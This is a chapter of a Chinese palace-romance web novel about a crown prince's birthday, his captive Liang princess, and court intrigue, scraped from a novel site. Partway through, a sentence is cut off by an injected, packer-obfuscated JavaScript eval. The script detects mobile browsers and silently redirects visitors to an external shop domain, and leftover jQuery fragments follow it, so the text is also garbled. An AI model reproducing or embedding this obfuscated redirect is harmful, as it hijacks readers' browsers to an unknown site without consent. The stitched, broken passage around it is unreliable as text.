文趣网 > 其他小说 > 太子殿下和他的狗 > 13. 太子生辰(一)
    正陶醉的如宁停下脚步。

    她顺着声音踱去,花木掩映着一个纤弱的身影,看服色也是个宫女。那宫女见有人来了,忙起身抹了把脸,有些无措。

    如宁看清她的样貌,“呀”地一声:“我记得你,你仿佛是六皇子身边的人……为何在此哭泣?还有你的脸……?”

    彤香垂头盯着自己的脚尖:“姑娘别问了,是我自己犯了错。”

    她生得也算清秀,白净脸上添了这么一道狭长伤疤,瞧着怎能不触目惊心。如宁一向是个热心肠,忙道:“都是在宫里当差的,咱们若不相互帮衬着点儿,日子可怎么过?你不想说,我也不逼你,我那儿有上好的玉容生肌膏,回头你跟我上东宫取去。”

    她抽出巾帕摁了摁彤香的眼尾:“也是个水灵的,眼睛哭肿了可不好消。”

    无人在意还罢,一被关心,彤香的眼泪更止不住一般,滚滚地往下落。心里头的委屈简直要满满当当地溢出来。

    遂将那日受伤的情形细细地说与如宁听,说到伤心处哽咽不已,权当倾诉。如宁听罢亦是默默良久:“六皇子那个性子……唉,真是难为你了。往后你有什么烦难,都可以来找我。说出来,心里头也好受些。”

    彤香感激不已,当晚便拿着自己纳得两双鞋底子和两个簪子去东宫寻如宁。为着六皇子与太子的龃龉,一路她都小心翼翼掩人耳目。两人虽只说了一会子话,却是相见如故,互相赞许品貌,以为可以深交。

    *

    何殊然跟着增援军马浩浩荡荡地启程了,临行前,他对周彻只有一个请求。

    “微臣父母兄姐具已离世,唯剩一个妹妹,现下正在京中弄挽巷居住。她自幼体弱多病,微臣斗求殿下照拂一二,感激不尽。”

    周彻欣然应允:“既有退敌之勇,又有怜护手足的慈爱之心,这很好。你且放心去,本宫自会好好待她。”

    何殊然提绳策马,卓然身姿很快没入大军之间。马蹄声混着呼呼风声,写着大大“周”字的征旗猎猎招展,他们承载着百官或希冀或犹疑的目光,以远处连绵起伏的翠色千峰为背景,在笔直官道上渐行渐远。最终人走马去,青山仍在。

    日子如涓涓细流稳当向前,一场雨从寒意料峭下到翠柳抽新。直等到太子生辰的前三日,天空已然微晴,却仍有细雨飘拂。皇后策划生辰宴不得不做两手准备,难免为此候糟心。太子却淡淡地劝她别太费神:“都说瑞雪兆丰年,儿臣看春雨也是祥瑞。万物复苏,生长繁荣,不都从沁润之水开始么?”

    “既然是好意头,那就更该大大操办一番。何况眼下你已经监国,不盛大些岂不伤你的体面?”

    皇后一面说一面在南府送上来的戏班子名录里挑挑拣拣,几乎是脱口而出的。

    竟像是心里话。

    皇后不经意间流露出的真切叫周彻顿了顿,缄默片刻,才道:“……只望母后切莫劳累。”

    这些年,皇后对他其实过得去。只是他无法忘记初初被收养时,皇后与陪嫁侍女秉烛夜话,商量着日后如何提防他。一对没有血缘的母子,谁都不敢把一颗心全部交托出去。

    但皇后又是对他好过的,在他偶感风寒高热不退时守了一整天,忙前忙后,毫无怨言。不管她是不是为了做给皇帝看,周彻都不能忘却。

    说到底,这对夫妻总是让他爱也不能够,恨也不坦率。

    回到东宫,周彻去平芜院用了午膳。为解梁轻寒的思乡之情,他特地命厨房想法子做几道梁地风味的菜肴。其中有一道莼菜鲈鱼羹最是鲜美,深受梁轻寒喜爱,每次都能吃下一整碗。

    她吃东西很慢,小口小口地抿,周彻见了便道:“真跟猫似的。”

    锦猫儿身躯柔软,抱在怀里大小正合适。美中不足的是太过瘦削,且不老实,每回总要乱动一番才认命。

    周彻环着她的腰轻轻摩挲:“多吃些,你也太瘦了。没得叫人以为本宫苛待你。”

    梁轻寒从鼻子里哼了一声:“都像你身边那个粗粗笨笨的才好么?”

    周彻知道她是在点秦肆,不由奇道:“她不提你。你反把她挂在嘴边,这是什么道理?”

    “因为我知道,她不单单干侍卫的活儿,还兼着暖你的榻。难免惊讶。”梁轻寒慢悠悠地瞥他,“既喜欢那样的,何苦来折腾我呢?”

    梁周两朝都以清瘦如玉肤色白皙为美。像秦肆那样精瘦微黑的被视贵族阶层视为粗糙鄙俗,只有辛苦劳作的奴才才会如此,金玉堆出来的闺阁小姐向来是十指不沾阳春水的。

    迫不得已忍下太子的调侃羞辱已是艰难,周彻看上她之前居然还有过这么个粗俗丑陋的……玩物,这让梁轻寒恶心不已。

    周彻挑眉:“你怎么知道的?”

    “我不是聋子,自然会听到个三言两语。哪怕是聋子,也会看不是么?她瞧你的眼神,爱慕之意都快溢出来了。”梁轻寒想想就反胃。

    “她一向是最忠心……”想起秦肆饱含爱慕之情的眼睛,周彻停了停,“本宫已经少叫她出现在你面前。你若实再要吃味,那便随你吧。”

    梁轻寒翻了个白眼:“就知道你嘴里吐不出象牙。”

    没想到她还会说这样的俚语,周彻也不恼,笑着把玩她裂锦般光滑的长发:“你口齿伶俐也不是一两日了,气不到本宫。”

    梁轻寒不喜欢周彻的口吻,好像他们很熟似的。

    “殿下与我才相处多久?”

    周彻道:“虽然长久不得见,但本宫一直记着打听你的消息。昔年听说你要来,还做了个物件……不提也罢。”

    梁轻寒对周彻所说并不好奇,只忽地伸手拉拉他的衣袖:“不跟你玩笑。我同你说正事。”

    “嗯?什么正事。”

    “你打算什么时候让我见吴林?”

    周彻云淡风轻:“本宫不是说了?你什么时候让我高兴,我就让你们主仆一叙。”

    梁轻寒微微攥拳,这些日子她忍辱负重,接受周

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691055|207492||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    彻的轻薄与玩弄不能有半点怨言。打出生起就众星捧月,尊贵比之梁国皇子也无不及的,在东宫真是打碎牙齿往肚子里咽,周彻却始终不肯兑账。

    到底要怎样他才能够“高兴”?

    不可急躁,不可急躁,否则前功尽弃。

    她在心里反复告诫自己。

    “我听说,过两日是你的生辰。届时,我会送你一份礼物。”梁轻寒抬起眼睛,直直盯着周彻,“我相信,你会很喜欢这份礼物。希望届时太子殿下遵守承诺,让我见到吴林。”

    周彻碎碎吻着她的脖颈,饶有兴致:“你仿佛胸有成竹。是什么礼物?”

    梁轻寒垂下眼睛:“秘密。”

    皇后说到做到,太子生辰的前三日便开始如火如荼地布置起来,大有宴请阖宫的架势。菜色样样色味俱美还要图个圆满吉利数,连一个酒樽底下稍有裂纹都有拿去换了,说是储君生辰,万事万物都要团圆无缺才好。

    她亲自领着人将泓容殿里里外外都用烧着的灵犀草薰过一遍,意喻百病全消,年年康健。

    太子的生辰宴便在这样声势浩大的期待里徐徐展开。先是皇帝下了口谕大赦天下,万民同庆,再由皇后于吉时将众人召至长乐殿前,听内监尖着嗓子诵读祝词。

    那长长一篇赋词极为华美,引章据典,唯两句“凤姿高华,参决万机”“温恭仁孝,万年共安”叫秦肆印象最为深刻。

    第一次体会到腹有诗书的妙处,竟能用短短几字,将今日的周彻概括得如此完备。

    太子一身半旧的碧水绿团蝠长袍,外罩鸦灰轻纱,宝冠玉饰,华贵难言,端得是容光焕发的俊朗。

    最后一句祝词落下,殿外有近臣山呼千岁,殿内有后宫众人纷纷贺喜。

    皇后笑得温和:“太子又长一岁了。吾儿钟灵神秀,聪颖过人,国能得储君如此,真乃江山社稷之幸也。”

    贺礼流水一样往东宫送,既有臣下进献的,也有自家人赠与的。崔明同如宁两个应接不暇,领着宫人道谢、点数,至于分发入库登记造册,都是后话了。

    皇帝备了一份极丰厚的礼,有南海两寸大的夜明珠、满张满毛的红狐皮、前朝画师林汝的浣花仕女图……本人却因病弱无法早起而没有到场,于是赏花赛马,皆由皇后一手操持主办。马场平坦宽阔,周彻拽着缰绳两腿发力,红马登时奔驰如雷。太子的长发在风中飘扬起伏,说不尽的少年意气。

    毫不意外地,周彻博得了头彩。

    他轻巧跃下,接过秦肆递来的帕子摁了摁额角,以目光逡巡四周。

    那道纤弱的身影还是没有出现。

    “梁国公主还没来么?”

    秦肆正有一筐夸赞溢美之词,听完这话骤然咽了回去,老老实实答道:“她说是身子不爽,要晚些才能来。让主上安心等一等。”

    周彻想到何事一般,唇角蓦地扬起几分笑意。

    那他便静候佳音,看梁轻寒葫芦里究竟卖得什么药。